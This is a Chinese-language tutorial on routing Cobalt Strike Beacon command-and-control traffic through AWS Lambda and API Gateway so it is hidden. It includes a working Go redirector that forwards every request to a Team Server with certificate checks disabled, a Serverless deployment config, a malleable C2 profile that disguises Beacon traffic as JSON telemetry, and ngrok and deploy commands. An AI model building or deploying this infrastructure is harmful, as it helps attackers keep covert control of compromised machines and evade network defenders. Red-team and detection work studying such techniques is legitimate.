此前有文章讲述了如何利用 Cloudflare Workers 来隐藏 C&C 流量,本文将通过 AWS Lambda 来实现类似的功能。
与 Cloudflare Workers 类似,AWS Lambda 允许将事件驱动的自有代码部署到 AWS 上。代码功能由指定的动作触发,例如将文件上传到 S3、接收 SMS 消息、接收 HTTP 请求等。负责执行代码逻辑的基础设施都被抽象化了,不需要像原来一样从底层配置 EC2 实例即可正常工作。Lambda 还支持多种语言的开发,从 Python 和 NodeJS 到最近大火的 Go 语言,AWS Lambda 都支持,本文采用 Go 进行解释。为了进一步提高便利性,使用 Serverless 框架提高效率。
Serverless - AWS Lambda
AWS Lambda 普及程度越来越高,这项技术的实用性已经被广泛证实。使用该服务一段时间后就可以发现,其好处之一就是启动一个新的 HTTP 响应端的速度是非常快的。与此同时,还有一个好处,那就是不必关心基础设施架构或修改 HTTP 服务器配置。
接下来,使用 Serverless 框架利用 Go 创建一个简单的 HTTP 示例 API:
brew install serverless
serverless create -t aws-go
make
sls deploy
执行后,可以看到以下内容:
通过提供的 URL 地址发起 HTTP 请求,以确保新创建的 Lambda 函数能够按预期进行响应:
通过 Serverless 可以快速地创建新的 Lambda 函数,接着就可以继续构建可以进行 C&C 通信的服务了。
Serverless 代理
在通过 AWS Lambda 代理转发 C&C 流量之前,必须注意到上面的示例中路径是带有 /dev/ 的,这在 Lambda 中标明开发的阶段,例如 dev、production、pre-prod 等。在 Cobalt Strike 配置路径时需要额外考虑到这一点,否则会导致上线失败。
从整体上看我们的基础设施架构如下所示,我们利用了 AWS Lambda 和 AWS API Gateway 两个组件:
配置文件 serverless.yml 如下所示:
service: lambda-front
frameworkVersion: ">=1.28.0 <2.0.0"
provider:
name: aws
runtime: go1.x
stage: api
region: eu-west-2
environment:
TEAMSERVER: ${opt:teamserver}
package:
exclude:
- ./**
include:
- ./bin/**
functions:
redirector:
handler: bin/redirector
events:
- http:
path: /{all+}
method: any
首先需要注意的是 HTTP 路径 /{all+},这可以使我们的 Go Lambda 函数响应任何 URL 请求。还要注意 ${opt:teamserver} 是 TEAMSERVER 变量的值,这可以在命令行执行时动态指定,变得更加灵活。
Serverless 代码
首先修改 hello-world 的模板以将 Beacon 发送的 HTTP 请求转发到 Team Server。
代理 Beacon 发送的请求包括以下步骤:
- 接收从 Beacon 发送的 HTTP 请求
- 根据接收的 HTTP 请求生成一个新 HTTP 请求
- 将 HTTP 请求发送到 Team Server 并接收响应
- 将收到的响应添加到 API 网关响应中
- 转发响应到 Beacon
创建后,我们的代码将如下所示:
package main
import (
"crypto/tls"
"encoding/base64"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"strings"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
)
type Response events.APIGatewayProxyResponse
func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
var url *url.URL
var bodyDecoded []byte
var body []byte
var err error
var outboundHeaders map[string]string
teamserver := os.Getenv("TEAMSERVER")
client := http.Client{}
// 后端服务器设置允许失效 HTTPS 证书
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
// 构建发送给 CS 的请求 URL
url, err = url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)
// 提取解析请求参数
if request.QueryStringParameters != nil {
q := url.Query()
for key, value := range request.QueryStringParameters {
q.Set(key, value)
}
url.RawQuery = q.Encode()
}
// 处理请求体的 base64 编码
if request.IsBase64Encoded {
bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
if err != nil {
log.Fatalf("Error base64 decoding AWS request body: %v", err)
}
} else {
bodyDecoded = []byte(request.Body)
}
// 向 Team Server 发送请求
req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// 为请求添加入站头
for key, value := range request.Headers {
req.Header.Set(key, value)
}
// 将请求转发给 Team Server
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// 解析 Team Server 的响应头
outboundHeaders = map[string]string{}
for key, value := range resp.Header {
outboundHeaders[key] = value[0]
}
// 读取 Team Server 的响应体
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error receiving request from TeamServer")
}
// 将响应转发给 Beacon
return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}
func main() {
lambda.Start(Handler)
}
当代码编译完成后,就可以执行 sls deploy 命令将代码推送到 AWS 上运行。
Malleable 配置
完成 AWS 的配置后,就要修改 Cobalt Strike 的配置了。现在也可以使用 External-C2 等配置,但为了示例仍然对 HTTP 配置文件做微小的修改来适配,例如 stage 的路径。具体来说,需要修改 http-get 和 http-post 部分的 uri 参数以 /[stage]/ 开头。
例如,可以使用如下设置配置 GET 请求:
http-get {
set uri "/api/abc";
client {
metadata {
base64url;
netbios;
base64url;
parameter "auth";
}
}
...
与 malleable 配置文件配合使用的 Lambda 代码如下所示:
http-config {
set trust_x_forwarded_for "true";
}
http-get {
set uri "/api/fetch";
client {
metadata {
base64url;
netbios;
base64url;
parameter "token";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
output {
base64;
prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
append "\"}";
print;
}
}
}
http-post {
set uri "/api/telemetry";
set verb "POST";
client {
parameter "action" "GetExtensibilityContext";
header "Content-Type" "application/json; charset=utf-8";
header "Pragma" "no-cache";
id {
parameter "token";
}
output {
mask;
base64;
prepend "{\"version\":\"2\",\"report\":\"";
append "\"}";
print;
}
}
server {
header "api-supported-versions" "2";
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
header "x-beserver" "XPN0LR10CA0006";
output {
base64url;
prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
append "\"}";
print;
}
}
运行测试
将一切都准备好之后,就可以开始运行了。本地测试通常会使用 ngrok 作为本地 Web 服务器,非常适合为 Lambda 函数作为内部 Team Server。
在 MacOS 上启动 ngrok:
ngrok http 443
请注意,ngrok 对非付费用户有限制,需要对任意会话都设置 sleep 10 以免被阻塞。使用如下方式来配置 ngrok 主机:
sls deploy --teamserver d27658bf.ngrok.io
接下来配置 Listener 指向 Lambda URL:
还可添加一些其他的 Lambda URL 进行测试:
之后,当 Listener 启动指定 Beacon 时将通过 Lambda 发起一个会话: